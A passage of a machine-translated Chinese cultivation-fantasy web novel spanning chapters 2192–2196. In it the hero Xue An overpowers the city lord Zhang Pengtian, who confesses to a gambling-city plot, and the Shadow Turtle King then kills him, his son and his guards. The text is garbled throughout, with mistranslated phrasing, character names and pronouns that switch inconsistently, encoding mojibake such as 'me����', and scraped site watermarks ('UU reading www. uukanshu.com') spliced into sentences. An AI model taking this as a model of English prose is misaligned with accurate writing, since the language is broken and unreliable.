    This man with a face similar to Zhang Jinju''s eighth points is precisely the treasure city advocated for Peng Tian!


    At this moment, he nodded with a sinking face, and then cast his eyes on Yue Qinghuan and Xue An.


    "Miss Yue, my treasure city has a good friendship with your military strategist, so I hope you better not interfere in this matter! What do you think?" Zhang Pengtian said lightly.


    Yue Qinghuan didn''t make a difference when he heard the words, but gently swept the temples near his ears, and said manly: "I''m here just to see if there are any beautiful orbs. I don''t know anything else!"


    When Zhang Pengtian heard the words, the smile on his face instantly brightened, "This is easy to say, after this incident, you can let Miss Yue choose the orbs in my treasure house!"


    Yue Qing nodded with a smile, "I''ll talk about this kind of thing later!"


    After saying this profound sentence, she glanced at Xue An lightly, and then stepped aside.


    Zhang Pengtian and Zhang Jinju, the father and son, all let out a sigh of relief.


    What they were worried about was that the military strategists would intervene in this matter. Now that Yue Qinghuan had expressed his attitude, a big rock in his heart could not help falling to the ground.


    As for Xue An...


    Neither Zhang Jinju nor Zhang Pengtian paid attention to it.


    Because in their eyes, this white-clothed boy is just a mere half-step Immortal Venerable''s cultivation base, as long as Yue Qinghuan does not interfere, there is nothing to worry about.


    But neither of them noticed that at this moment the smirking smile appeared on Yue Qinghuan''s face.


    "Young man, I don''t care where you come from, let alone the purpose of your coming here, how about we make a deal?" Zhang Pengtian said lightly.


    "Oh? What deal?" Xue An raised his eyebrows slightly.


    "You gave me the blood bead in your hand, and then I erased the memory of this paragraph in your spiritual thoughts, and I can let you go and promise not to embarrass you. What do you think?" Zhang Pengtian said.


    Hearing this proposal, Zhang Jinju was startled slightly, and couldn''t help crying softly: "Father, this..."


    Zhang Pengtian waved his hand, motioned his son not to speak, and then stared at Xue An deeply, waiting for his answer.


    The corners of Xue An''s mouth gradually raised, gradually revealing a cold smile.


    "This proposal sounds like I still want to be grateful to you!"


    Zhang Jinju finally couldn''t contain the anger in his heart, and sneered: "Is it not? My father''s overwhelming grace, willing to let you make a living, shouldn''t you be grateful?"


    Xue An ignored him, but lowered his head to observe the blood bead in his hand.


    "I was very surprised before. What caused you to betray the backstage on which you live, but now I suddenly understand it!"


    With that said, Xue An raised his head suddenly, narrowed his eyes, and stared at Zhang Pengtian and said: "All the charity is not as good as he can fully grasp, are you right?"


    Zhang Pengtian''s complexion gradually darkened, and his eyes became extremely cold.


    "Quite right, so is this the answer you gave me?"


    "What if I say yes?"


    "Then you go to die!" Zhang Pengtian said lightly.


    With an order, the entire treasure house instantly turned into a killer field of Sen Luo, and the originally gentle gem brilliance turned into a violent power and went straight to Xue An.


    But in the face of such a tyrannical lore, Xue An didn''t even move, even the smile on the corner of his mouth did not change, just said lightly.


    "You have seen it clearly, do I still need to say what to do next?"


    What do you mean?


    Who is he talking to?


    Zhang Pengtian was taken aback for a moment when he heard an extremely angry low roar from a distance.


    Click!


    With this roar, all the orbs stagnated in the sky, and then quickly faded all the brilliance, rushing in a certain direction.


    Zhang Pengtian''s complexion changed drastically, and he said in shock, "This...this is impossible!"


    "Why is it impossible?" With an extremely cold question, a figure began to appear where the orbs gathered.


    After seeing this ordinary middle-aged man, Zhang Pengtian''s complexion instantly turned pale, and his eyes were full of fear.


    The one who came was the Shadow Turtle King.


    At this moment, he is still dressed as an ordinary human man.


    It''s just that there is infinite anger and killing intent in his eyes.


    "Zhang Pengtian, are you convicted?"


    With a question, Zhang Pengtian was struck by lightning, and he retreated several steps in succession.


    "me����."


    I have been for a long time, but I can''t even say a complete sentence.


    Zhang Jinju on the side finally couldn''t help it, and took a step forward, facing the Shadow Turtle King, and said in a deep voice: "What are you, dare you to question my father?"


    The Shadow Turtle King laughed in anger, "What am I? Your father was so downhearted back then. If it weren''t for me, he might have died at the hands of the enemy. Now you actually ask me what is it?"


    Zhang Jinju was shocked, suddenly thought of a possibility, his face changed.


    But he is different from his father. Zhang Jinju has been spoiled since he was a child, and he has developed a dull habit. It can be described as fearless and fearless.


    Even now that he knew the identity of the Shadow Turtle King, he was still full of disdain.


    "Don''t say that, you and we are just getting what we need. Without us, your shadow turtle clan would not have developed so fast!"


    "Okay! Well said!" The Shadow Turtle Emperor sneered for a while, and then stared at Zhang Jinju.


    "Then since it is each getting what you need, why do you father and son secretly kill my shadow turtle clan?"


    Zhang Jinju was speechless when asked.


    Yes!


    In any case, there is no way this matter can be resolved.


    But soon, UU reading www. uukanshu.com There was a cruel look in his eyes, and then he grinned.


    "The blame only blames you on the Shadow Turtle Clan for being too obsessive, and you are just a fairy-level monster, and you dare to occupy the Black Region of Death for so long. It is your fault!"


    With that said, Zhang Jinju secretly glanced at his father who was on the side.


    Zhang Pengtian''s mood at this time also calmed down, and then he gritted his teeth secretly.


    What my son said is correct.


    At this point, the only way out is to kill the Shadow Turtle King, and then take the entire Shadow Turtle Race''s dead Black Territory in his hands.


    And looking at the momentum on this Shadow Turtle King, I really have a lot of hope here!


    Thinking of this, his eyes gradually became fierce.


    "Yes, Shadow Turtle King, I have done enough in these years, and now we don''t owe anyone. As for the death of your tribe, it only means that you can''t keep up and will be eliminated!"

 Chapter 2192： Human greed

    With the voice, the breath of the entire treasure house became more and more severe.


    At the same time, countless tyrannical auras began to emerge one by one in the darkness.


    And Zhang Pengtian''s aura was rising steadily, and he reached an extremely terrifying point in a blink of an eye.


    Yue Qinghuan, who had been watching cold-eyed, couldn''t help but sighed, "Xianzun peak, only a half-step saint! This time, it''s probably a lively watch!"


    really.


    When Zhang Pengtian''s momentum climbed to the peak, the power of Shadow Turtle Emperor was steadily retreated.


    Then Zhang Pengtian sneered, "Shadow Turtle King, I am not your opponent in the Black Region of Death, but in this Orb City, you are just a turtle in the urn!"


    Following the voice, Zhang Pengtian stretched out his hand and patted the Shadow Turtle King with a palm.


    The Shadow Turtle King roared, and the human form instantly collapsed and began to show its original form, trying to break free from the shackles of Zhang Pengtian.


    But when they reach their realm, the slight gap in their cultivation is often as insurmountable as a moat.


    At least all the struggles of the Shadow Turtle King have been useless.


    Immediately after that, the palm was pressed on his body.


    Bang bang bang!


    As the shell of the tortoise shattered, the Shadow Turtle King snorted, and a trace of blood dripped down the corner of his mouth.


    Upon reaching the ground, the blood turned into crystal clear blood beads.


    Seeing this scene, Zhang Jinju��s eyes appeared greedy, ��Father, don��t kill him so easily. If all his blood can be condensed into orbs and absorbed, we father and son will be able to master the death. The black domain method!"


    Zhang Pengtian chuckled softly when he heard the words, "Jiu''er, don''t worry, you have a sense for your father!"


    With that, he pointed out again.


    This finger came straight to the eyebrows of the Shadow Turtle King.


    The Shadow Turtle King uttered an unwilling roar.


    He didn''t expect that he would die in the hands of this young man.


    But just as soon as his fingers touched the Shadow Turtle King, everyone''s ears suddenly heard a chuckle.


    "It''s a wonderful scene. It seems that human greed should not be underestimated at any time!"


    Accompanied by this sigh, Zhang Pengtian suddenly felt a chill between his eyebrows and his head hurt.


    In horror, he couldn''t help but step back.


    It wasn''t until dozens of steps had passed before that this feeling dissipated, and then he looked forward with lingering fears.


    However, beside the Shadow Turtle Emperor, there appeared a young man in white clothes Shengxue.


    Who can it be if it''s not Xue An?


    When they saw him, Zhang Pengtian and Zhang Jinju, the father and son, were all shocked.


    Even the trapped Shadow Turtle King was a little dumbfounded.


    He didn''t even think that this Chinese teenager would save him.


    But he is obviously just a half-step immortal!


    It is very different from Zhang Pengtian, the peak level of the Immortal Venerable!


    How could Zhang Pengtian be so terrified of him?


    These questions made this fairy-sovereign-level monster beast a bit at a loss.


    At the same time, Xue An turned his head and smiled at him slightly.


    "Do you know the worst part of what you did?"


    "where?"


    "From the beginning, you shouldn''t put all your chips in one place!"


    "If you had supported two Orb Cities at that time, and had them restrain each other by means, this kind of thing would not happen anyway!"


    A word to wake up the dreamer.


    Although this Shadow Turtle King has lived for countless years, he has relatively few contacts and his mind is very simple.


    Now under Xue An''s words, he suddenly realized how wrong he was!


    "But what''s the use of saying these now! I''m already in trouble and it''s hard to save it!" The Shadow Turtle King said bitterly.


    Xue An smiled slightly, "Who said it''s hard to recover?"


    "Huh?" The Shadow Turtle Emperor was taken aback.


    At this time, Xue An raised his head, looked far away at Zhang Pengtian and his son, and said lightly: "If I kill these two people for you, how can you repay me?"


    As soon as this statement came out, Zhang Pengtian and the countless experts who were ambushing in the darkness were all taken aback.


    Even if someone sneered disdainfully.


    Because Xue An''s momentum is a bit mediocre now!


    Not to mention Zhang Pengtian, there is a huge gap compared to the Shadow Turtle King.


    With such strength, he still wants to fight back. This is just like a dream.


    But the Shadow Turtle King felt a little shocked inexplicably, and then said in a ghostly manner: "If you can really do it, I would like to form an alliance with you, never violated!"


    "Okay!" Xue An answered swiftly, and then took a step forward, facing Zhang Pengtian in the distance, with a faint smile.


    "You heard that too, so did you commit suicide? Or let me spend a lot of money?"


    Looking at the smile on Xue An''s face, Zhang Pengtian felt a deep chill for no reason.


    He didn''t dare to forget the coolness that pierced his brows just now!


    But no matter how you look at it, the cultivation of this white-clothed boy is nothing short of you!


    Could this be my own illusion?


    Or is there any magical blade in him?


    These thoughts churned in Zhang Pengtian''s mind.


    But no matter what he thought in his mind, a sneer appeared on Zhang Pengtian''s face.


    "Young man, your cultivation is pretty good at your age, but it''s better not to be too arrogant, otherwise it''s easy to fall into trouble!"


    Xue An chuckled softly, "I have heard these words before, so I just want to tell you a word now!"


    "What?"


    As soon as Zhang Pengtian''s words fell, Xue An''s whole person disappeared in place, and when he reappeared, he had already appeared behind him, and then blasted out with a punch.


    Unprepared, Zhang Pengtian abruptly caught the punch with his back.


    Boom!


    After a loud noise, Zhang Pengtian was directly shaken out, and flew into the distance like a parabola.


    And Xue An blew his fist lightly, and said lightly: "Is he still a young man if he is not angry?"


    This punch was like a shocking stone, and UU reading shocked everyone.


    Even knowing that Xue An would definitely win Yue Qinghuan, they were a little surprised at Xue An''s swiftness.


    That''s a master at the pinnacle of Xianzun!


    How come it is in Xue An''s hands that it seems to have no strength to fight back?


    Zhang Jinju couldn''t believe his eyes even more, and just exclaimed two words, "Father..."


    Xue An had already arrived in front of him, and then slapped a palm lightly!


    Although it was so real, Zhang Jinju was so horrified to find that he could not even move a finger, so he could only watch the slap on his face.


    Snapped!


    Accompanied by a sharp slap in the face, Zhang Jinju flew out soon afterwards, and even the parabolic trajectory drawn in the air was almost the same!


    Then Xue An patted his palms and said lightly: "It''s useless to call a father, I don''t have a son who is not as unconvincing as you!"

 Chapter 2193： Before and after

    No one had expected that Zhang Pengtian and his son, who were still aggressive just now, would be blasted out in the blink of an eye by the boy in white who did not know the origin.


    At this moment, everyone couldn''t help taking a breath.


    Especially the guards of the Pearl City, who had surrounded the entire treasury, were even more shocked.


    And at this moment, Zhang Pengtian roared almost hysterically: "All give me a charge, I want this guy to die without a burial place!"


    Zhang Pengtian is almost furious now.


    In any case, he did not expect that, as a pinnacle master of the dignified Immortal Venerable, he was actually blown out by an unknown young man, still in front of so many people.


    If this can''t be handled properly, how will he rule the Pearl City in the future.


    So at this moment, he is truly murderous.


    With an order, all the subordinates moved for it.


    Although the strength of these subordinates is not too high, but the number occupies an overwhelming advantage.


    In particular, they are also good at combining attacks. Once they join forces, their strength can be said to have increased by several times.


    Therefore, these guards became another trump card in Zhang Pengtian''s hand.


    Facing the group of guards coming with murderous aura, Xue An looked calm and took a step forward.


    boom!


    With one step, Jian Mang rose up, directly strangling the front guard on the spot.


    The blood splattered the guards who followed them all over their faces, making them all horrified, and they wanted to stop.


    But behind them, there were guards rushing forward, and they couldn''t help but bite the bullet and continued to kill Xue An.


    A cold light flashed in Xue An''s eyes, and then raised his hand to make another sword.


    Puff puff!


    Along with a sword light that looked like a horse, a large number of guards fell.


    The rest were all shocked and backed away.


    All this happened extremely fast.


    From these guards rushing upwards to Xue An''s two consecutive swords, there were only a few moments in total.


    Then there were corpses lying neatly on the ground, and even the angle of falling was generally the same. It can be seen that they all died at the same time.


    With such a scene, Zhang Jinju, who had wanted to shout a few words, immediately swallowed the latter words back into his stomach.


    As for Zhang Pengtian, his pupils shrank to the size of a needle tip in an instant, and then he asked in a solemn voice.


    "Jianxiu? Who are you?"


    Xue An chuckled, but did not directly respond to his words. Instead, he turned to look at the stunned Shadow Turtle King.


    "Master Turtle, you must remember the promise you just made!"


    The Shadow Turtle King shook his heart, then took a deep breath and nodded slowly.


    "You can rest assured, my Shadow Turtle Clan has always been talking about it!"


    "That''s good!"


    With that, Xue An turned his eyes to Zhang Pengtian and the father and son, and smiled faintly.


    "As you can see, I am an ordinary half-step immortal-level youth!"


    Even a fool would not believe Xue An''s words at this moment.


    Of course Zhang Pengtian is not a fool. On the contrary, he has always been smart, so Guanghua flickered in his eyes and said in a deep voice.


    "Friends, it seems that there should be some misunderstandings between us. Fighting and killing can''t solve any problems. Why don''t we sit down and talk about it?"


    The tone in the speech has been very different from before.


    At least there is no more aggressive domineering that used to be.


    It can be seen that he is also very clear that this young man in white clothes is definitely not an idler.


    Otherwise, how can you blast yourself out?


    Facing Zhang Pengtian''s weakness, Xue An laughed.


    "Sit down and talk about it? Talk about what? Talk about how to procrastinate, and then take the opportunity to deal with me?"


    This sentence hit the key point, just to say what Zhang Pengtian was thinking.


    There was a look of surprise in Zhang Pengtian''s eyes, but he quickly covered it.


    "Friend, I think you really misunderstood. You and Ms. Yue are friends, and my son and Ms. Yue are close friends, so how could we really want to hurt you? It was just some angry words. !"


    When talking about these nonsense that he didn''t even believe in himself, Zhang Pengtian didn''t even blink his eyes, he appeared extremely sincere.


    If nothing else, this attitude is enough to deceive many fledgling young people.


    In Zhang Pengtian''s mind, this young man in white clearly was like that.


    Maybe he is a descendant from some great sword repair school or family!


    Just think of a way to fool it, and things will be easier to handle in the future!


    He thought silently in his heart.


    But what he never expected was that Yue Qinghuan giggled at this moment, and then said manly: "City Lord Zhang seems to have made a mistake, aren''t I close friends with your son?"


    Ok?


    Her sudden sentence caught both Zhang Pengtian and his son off guard.


    Zhang Jinju trembled even more, and immediately shouted, "Qing Huan, what do you mean?"


    "First of all, please don''t call me Qinghuan, because that''s not what you are qualified to call. Secondly, I don''t mean anything, just explaining an obvious fact! Why? Is there a problem?" Yue Qinghuan said lightly.


    Zhang Jinju felt that his hands and feet were a little cold, and looked at Yue Qinghuan blankly.


    "This...this is impossible..."


    In his eyes, Yue Qinghuan''s sudden "backlash" was like watching a roast duck that had been served on the table suddenly flying again.


    This feeling is almost maddening.


    At the same time, but seeing Yue Qing happily smiled and looked at Xue An.


    "Need my help later?"


    Xue An raised his eyebrows slightly, "What do you think?"


    "That''s not needed."


    This kind of inexplicable dialogue between the two fell in Zhang Jinju''s eyes and was full of irony.


    It turns out that the clown is myself from beginning to end!


    Zhang Jinju''s face was green and white, and his heart was full of infinite resentment.


    He had always played with people''s hearts, but this time it was finally his turn to taste this kind of taste himself, and naturally he was a little unacceptable for a while.


    And Zhang Pengtian on the side, his complexion at this moment also gradually became gloomy.


    He also didn''t expect that Yue Qinghuan would not give himself face so much and looking like this, he would stand with the boy in white.


    This couldn''t help making a chill in his heart.


    Could it be that the soldier is behind this incident?


    impossible!


    If the military strategist is really investigating this matter, he will not just send a young girl!


    With their domineering personality, the soldiers have already suppressed the situation, so why do you want to talk to you?


    But even if it wasn''t the military strategist who was investigating behind the scenes, but now the matter has been revealed, if you want to completely cover it up, you can only cut the grass and root.


    At this point, Zhang Pengtian''s eyes gradually became fierce, staring at Xue An.


    "Friend, in that case, do you insist on taking care of this?"


    "It''s not that I want to take care of it, but that I have promised people before, so naturally I can''t betray my faith. This is the bottom line of being a man, what do you think?" Xue An said with a smile.

 Chapter 2194： Linglong Dice An Red Bean

    "Okay! You can''t betray your faith, do you really think I''m afraid of you?"


    With the final roar, Zhang Pengtian''s eyes instantly turned blood red, and the aura on his body exploded directly like a bomb.


    The majestic and mighty power came straight to Xue An, which was more than twice as powerful as before!


    Upon seeing this, the Shadow Turtle King couldn''t help exclaiming.


    "Be careful!"


    Because he can clearly perceive that Zhang Pengtian''s state at this moment has clearly passed the peak of the Immortal Venerable, and one foot has entered the realm of a saint.


    This level of strength was enough to kill himself in seconds, so he couldn''t help but squeeze a cold sweat for Xue An.


    But in the face of such a violent blow, Xue An just sneered.


    "It looks quite bluffing, but it''s a pity... what I borrowed is not my own after all!"


    Having said that, Xue An stood upright like a sword, slowly raised his fist, and then faced Zhang Pengtian who was rushing forward, and hit directly.


    Boom!


    After a loud noise, Xue An took seven or eight steps back.


    But Zhang Pengtian on the opposite side was shocked and flew out again, even farther than before.


    And before he landed, Xue An''s figure was directly in front of him, then reached out and grabbed his neck.


    When Xue An''s hand touched Zhang Pengtian''s neck, it was as if he had pressed a switch, and Zhang Pengtian''s power faded like a tide.


    In the blink of an eye, he degenerated from a peak-level master of the Immortal Venerable to an "ordinary" person with only the peak strength of the Immortal Emperor.


    The whole process of change was so fast that even Zhang Pengtian''s body became much shriveled like a frustrated ball.


    Seeing this scene, Zhang Jinju was completely dumbfounded.


    what happened?


    Why is the strength of his proud father degraded so much?


    What did this guy do to my father?


    These thoughts just emerged in his heart, and a voice that was indifferent but full of supreme majesty sounded in his ears.


    "Kneel down!"


    As soon as the two words came out, Zhang Jinju felt a majestic force directly pressed on his shoulders.


    With two clicks, his knees shattered, and then he knelt down on the ground.


    At this point, Zhang Pengtian and Zhang Jinju, father and son, were completely controlled by Xue An.


    Even Yue Qinghuan couldn''t help showing a look of surprise in his eyes, and then barefoot a little on the ground, and instantly came to Xue An, looking at Zhang Pengtian who was pinched by Xue An with some curiosity.


    It wasn''t until a moment later that she said with some relief: "So that''s it, I said his aura is a little weird!"


    As she said, she flashed those big lavender eyes, looking at Xue An in amazement.


    "Did you already know it?"


    Xue An nodded.


    "No wonder... You are really a clever ghost!" Yue Qinghuan covered his mouth and chuckled.


    It seems very happy.


    But Zhang Jinju, who was kneeling not far away, felt that his body was getting colder with Yue Qinghuan''s laughter.


    He was still holding the last glimmer of hope, hoping that Yue Qinghuan could help himself at this moment.


    But I didn''t expect that Yue Qinghuan not only didn''t help herself, but didn''t even look at herself from beginning to end.


    This can''t help but plunge him into complete despair.


    At this time, the Shadow Turtle Emperor had rushed to the front, and he first nodded to Xue An with respect.


    "The strong Chinese, the Shadow Turtle Clan has to repay me for this great favor, can you give me this treachery villain now?"


    With that said, the Shadow Turtle Emperor looked at Zhang Pengtian whose face was already curly purple, and his eyes were about to spit out fire.


    Xue An chuckled and shook his head, "Master Turtle Sovereign, don��t worry, I will give you their father and son, but don��t you want to know what they betrayed you, and your missing clansmen? Is it all dead or alive?"


    Shadow Turtle King was taken aback.


    correct!


    What is it that they betrayed me?


    What about the life and death of those people?


    Over the past few years, the shadow turtle emperor''s mind was tumbling, making him calm down instantly, and then nodded.


    "Of course I want to know!"


    "Since you want to know, let me interrogate them for you!"


    With that, Xue An slightly loosened the restraint on Zhang Pengtian.


    "call!"


    Zhang Pengtian immediately began to breathe quickly.


    Because what Xue An just pinched is not only his neck, but also his spirituality, cultivation level, and even the whole body''s qi and blood are completely sealed.


    Now he couldn''t even breathe the most, and could only rely on the remaining breath to maintain consciousness.


    But if it was a while later, he estimated that he wouldn''t even have this aura. By then, he might very well become the first immortal emperor to be suffocated to death since the establishment of Xuangu Great Energy.


    Although he has not been suffocated to death, his situation is still very pessimistic.


    It wasn''t until after breathing for a long time that the feeling of depression gradually disappeared, and then he looked at Xue An with horror on his face.


    Xue An smiled slightly, "You don''t have to look at me with that kind of eyes. Then you will answer everything I say seriously. I promise you won''t be embarrassing. What do you think?"


    Now, where does he have the qualifications to bargain, in order to survive, he can even spare it.


    Therefore, after hearing what Xue An said, he nodded as if smashing garlic.


    "Very good! Let me ask you again, where did you borrow your previous Immortal Venerable cultivation base?"


    "This..." Zhang Pengtian hesitated.


    Xue An raised his eyebrows slightly, and then said lightly: "Why? I don''t want to say?"


    "Ah, no, no... of course not!"


    Then Zhang Pengtian gritted his teeth and said bitterly: "It''s true that I am borrowed from Linglong City!"


    Linglong City!


    After hearing these three words, both Yue Qinghuan and the Shadow Turtle Emperor''s eyes narrowed The Shadow Turtle Emperor blurted out, "Zhang Pengtian, you actually colluded with the people from Linglong City?"


    Xue An naturally didn''t know what Linglong City was, so after hearing the words, he looked at Yue Qinghuan with inquiry.


    Yue Qinghuan sighed softly, "The three words Linglong City are taken from the first two words of the old saying of Linglong Dice An Hongdou, and you should be very clear about what the dice do."


    Xue An''s eyes flickered, "You mean...this Linglong City is a casino?"


    Yue Qinghuan nodded, "Yes, and it''s a huge gambling city! Whether it''s wealth, cultivation level, or even life, as long as you can think of it, you can set a gaming table there!"


    Zhang Pengtian smiled bitterly, "Miss Yue is right! I borrowed my cultivation skills from Linglong City!"


    "And the reason why I betrayed the Shadow Turtle Race is largely because of Linglong City!"


    "Because the entire Orb City you see now has actually been defeated by me at the gambling table of Linglong City!"

 Chapter 2195： Playful bet

    As soon as this statement came out, the Shadow Turtle King immediately flew into a rage.


    "What did you say? You lost the Orb City? Did you lose the Orb City to me?"


    With that said, he wanted to rush forward to kill Zhang Pengtian.


    "Okay, let''s listen to him first!"


    Xue An stopped the Shadow Turtle King, and then asked: "Tell me, what is going on!"


    Zhang Pengtian sighed softly, "I can''t resist the temptation to blame for all this!"


    "At the beginning, a jewelry dealer came to Baozhu City. Because he was very generous, I met him personally. As a result, during the banquet, he described the luxury of Linglong City in detail!"


    "And the gods secretly told me that the reason why he can have such a huge wealth is the capital accumulated in Linglong City. All this is because he has a gambling skill that can be used to win!"


    "I was shocked by these words, but I did not express my opinion at the time. Until the next day, this person left me and said that when the orbs he brought with him were sold to Linglong City, the profit would at least triple. Listen After these words, I finally couldn''t hold back, but to be on the safe side, I only sent a clone to follow this person."


    "After I arrived at Linglong City, everything turned out to be as luxurious as the person said! And I saw this person easily sell the purchased orb at least three times the price, and then he took me to each place. Eye-opening in the big casino!"


    "What kind of scene is that!"


    Zhang Pengtian''s eyes showed a leisurely and fascinating color, "One after another, there are rows of magnificent or weird casinos. After entering, you will have all the luxury you can imagine."


    "Even the most ordinary waiter is a stunning girl! In such an environment, I couldn''t help but join the gambling with this person!"


    "In the beginning, everything went so smoothly, but in three days, I won a full half of the treasure of the Pearl City! Everyone congratulated me, even the lady boss of the casino came to drink with me in person. a glass of wine!"


    "The feeling that millions of people admire, if you experience it once, you will never forget it!"


    "Just as I was lingering and forgetting to return, the friend who brought me said to me, let me take this opportunity to close my hands and leave Linglong City, because he said that a long bet will lose. If this continues, I will definitely not be able to control it. live!"


    "To be honest, I was a bit disapproved at the time, but he was able to say so, obviously for my sake, so I was very touched, thinking that meeting a real friend, coupled with the fact that the clone has been away for too long, is already somewhat unsupportable , So I returned to Orb City with the wealth I won!"


    Hearing this, the Shadow Turtle King couldn''t help saying: "Isn''t this very good? If you stop here, you will have added countless wealth!"


    Zhang Pengtian sighed softly, "It''s easy to say, but you can''t understand the feeling at all. Thinking about it now, this incident was actually a trap from the beginning."


    "Because people want to continue winning as long as they win once, especially if you experience the atmosphere of Linglong City, you will feel that everything else is so dull!"


    "So you went back again?" Xue An said lightly.


    "Yes, and this time I went there in person!" Zhang Pengtian smiled bitterly.


    "After I went, I found the friend first. He was still in Linglong City at the time, but he didn''t seem to be surprised at my arrival. He just invited me to have a drink and continued to lead me to the major cities. Casino hangs around!"


    "But this time, I am not as lucky as the last time!" Zhang Pengtian''s eyes showed fear, and it was obvious that recalling this experience was a torture to him.


    "In the beginning, I was still winning, and the more I won, the more people under this situation began to flatter me. It stands to reason that I should have been immune to these things when I reached the realm of cultivation, but somehow At that time, I seemed to be stunned by something, and soon I was completely lost."


    "Then I started to lose, and it was a violent loss, as if something was aimed at me in the dark, no matter if I made a big bet or a small bet, I couldn''t escape the fate of losing!"


    "Soon, the gambling book I brought was lost, but at the time my friend comforted me and said that it was all normal and offered to lend me money!"


    "In this case, I have lost my mind and regarded him as a benefactor who lent me the money, but soon I completely lost my eyes and got bigger and bigger..."


    Speaking of this, Zhang Pengtian was suddenly silent.


    "So you lost the entire Orb City in one night?" Shadow Turtle Emperor couldn''t help asking.


    Zhang Pengtian smiled bitterly, "It''s not a night, to be exact, it only took an hour!"


    The Shadow Turtle Emperor became so angry that the color changed, "Such a big city, almost a wealth of the sky, you just lost it in just one hour? Are you crazy?"


    "Yes! Every time I think about it afterwards, I will feel that I must have been crazy at the time, otherwise, how could I lose my mind so quickly?"


    "I still remember my mood after betting the most bet and losing it all. It was an unspeakable emptiness. I just sat in a daze for at least half of the incense until the one who took me there. People patted me on the shoulder and told me that I had lost the entire Orb City!"


    "Then you didn''t doubt or resist?" Shadow Turtle King asked.


    "Of course I did. In fact, I started off with my guts and wanted to have an attack. But this person just patted me on the shoulder and broke all my resistance. Then he said, if so If you want to survive, just follow him obediently!"


    "I followed him to a secret room in a muddle-headed manner. There were a lot of people in UU Reading , and the casino proprietress who was toasting with me was also there. It��s ridiculous that I didn��t understand until then that I was one. Only a pig that has been trapped!"


    "Then what did these people say to you?" Shadow Turtle King asked again.


    "They said, now they only give me two paths. The first is to lose the Orb City to them. Of course I will not choose this path, because the Orb City is not my own! They seem to have reacted to me long ago. As expected, he smiled and told me the second way!"


    "Do you want you to cooperate with them, and then deal with the Shadow Turtle Race secretly?" Xue An said suddenly.


    "Yes! That''s what they told me! I definitely wanted to refuse at the time, but they changed their appearance and tortured me severely, and finally..."


    A touch of shame appeared in Zhang Pengtian''s eyes.


    "In the end you gave in, and even borrowed a cultivation base from them? Because they promised that as long as things are done, not only will the past be ignored, but you can truly become the lord of the Orb City, and from then on, you will completely die. In the hands, is that right?" Xue An said.

 Chapter 2196： I have my own arrangements

    Zhang Pengtian''s face appeared astonished, and he looked at Xue An blankly, "Why are you..."


    "How can I know it so clearly, right?" Xue An chuckled, "Actually, they weren''t targeting you from the beginning, or even the Shadow Turtle Clan, but the Black Region of Death!"


    Upon hearing this, Yue Qinghuan trembled all over, and immediately understood.


    "You mean..."


    "Yes, this matter itself is connected to the matter of the heavens. It seems that those guys still did not give up after the destruction of the bronze gate, trying to attack the heavens again through the black domain of death!" Xue An said softly.


    Yue Qinghuan''s complexion became very ugly, "If that''s the case, why didn''t they take the shot directly, but went around such a big circle?"


    "I don''t know this, but there must be a reason, such as not wanting to be noticeable?"


    A look of contemplation appeared on Yue Qinghuan''s face.


    As for the Shadow Turtle King and Zhang Pengtian, they did not understand what Xue An and Yue Qinghuan said.


    What invaded the heavens, the bronze gate was destroyed, etc.


    Hearing Zhang Pengtian was completely confused.


    On the contrary, the Shadow Turtle King faintly thought of something, but because of this, the expression on his face became more and more difficult to look.


    Because the Black Territory of Death has always been the territory of the Shadow Turtle Clan, no matter how strong the others are, they have not been involved, not because they can''t do it, but because it''s not worth it.


    After all, a void of black realm, apart from the ability to nurture some precious orbs, there is really nothing worthy of those powerful hands.


    But if things are as Xue An said, the nature will change.


    Even the entire Shadow Turtle family may face annihilation.


    How could he not be nervous about this.


    At this moment, Xue An raised his eyes to look at Zhang Pengtian, and said coldly: "If this is the case, where are the members of the Shadow Turtle Clan that you waited to catch secretly?"


    Zhang Pengtian was shocked, his complexion instantly turned pale.


    What he said just now is basically true, but he deliberately added many of his own perspectives in the narration, in order to show that he was also framed by others, in order to win the sympathy of everyone, so as to survive.


    But when Xue An asked about this, all his previous efforts were useless.


    "Yes, where are all my people?" The Shadow Turtle King roared.


    "When... At that time, I designed to capture seven Shadow Turtle Races, but one of them was too stalwart, and was killed by a miss in the resistance, and became a blood bead. As for the others... Take away!"


    As soon as these words came out, the Shadow Turtle King was furious, "You actually sold all my people to Linglong City? I want you to be broken into pieces!"


    He said he had to rush forward.


    Zhang Pengtian was so scared that he was so scared that he immediately begged for mercy: "Master Turtle, please forgive me. I was framed by others too! Please let me go!"


    But how could the already red-eyed Shadow Turtle Emperor hear these words.


    In desperation, Zhang Pengtian had to pin his last hope on Xue An and cried out crying.


    "My lord, please say a few words for me. I will definitely remember your great kindness!"


    In his opinion, this young man in white is a fledgling young man. Although he is powerful, he should be able to speak better.


    But this time he made a wrong calculation, and saw a cold smile on Xue An''s face.


    "I believe all of your words, but the only thing you absolutely conceal is that you will never be a white lotus like you said! So..."


    Xue An casually threw Zhang Pengtian to the Shadow Turtle Emperor just like throwing garbage.


    "Ahhhhhhh..." Zhang Pengtian screamed in the air, and when he fell into the hands of the Shadow Turtle Emperor, the Shadow Turtle Emperor squeezed.


    Click!


    Along with the explosion of bones, Zhang Pengtian''s joints were instantly crushed.


    The Shadow Turtle Sovereign had obviously hated this ungrateful villain, so it was a very ruthless killer move.


    In the extreme pain, Zhang Pengtian also knew that he was bound to die today, so he began to roar.


    "Don''t worry, if you offend Linglong City, you must all die, I''m in front..."


    He just wanted to say that I was waiting for you, when the furious Shadow Turtle King slapped his head with a palm, and completely swallowed his soul and brain.


    Yue Qinghuan frowned slightly after watching such a **** scene, and then turned his head.


    At the same time, the Shadow Turtle Emperor walked towards Zhang Jinju, who was kneeling on the ground, covered in blood.


    At this time, Zhang Jinju was almost frightened.


    He never expected that things would develop in such a direction.


    It was a very good thing, I hooked up a beautiful girl from the military family, and she was about to get started, but everything took a turn for the worse in an instant.


    Now even his father is dead.


    How could this not make him feel fear and despair.


    So when he saw the Shadow Turtle King striding towards him, Zhang Jinju screamed like a chicken.


    "Forgive me, I don''t know these things..."


    puff!


    The screams stopped abruptly, because the Shadow Turtle Emperor had obviously lost his patience, and directly slapped him into mud with a palm.


    At this point, the former Baozhu City advocated that Pengtian and his son died.


    The remaining guards were all shaking their clothes at the moment, and then fell to their knees, not even daring to lift their heads.


    If it were Xue An, these people might have been let go.


    Unfortunately, what they met today was the Shadow Turtle King who was already killing.


    Therefore, just listening to the screams, these guards were quickly slaughtered.


    After all this was done, the Shadow Turtle King was soaked in blood, and then he was seen striding towards Xue An and Yue Qinghuan.


    Yue Qinghuan stepped back a little nervously.


    But at this moment, I saw the Shadow Turtle King plop and fell to his knees, and then said very sincerely.


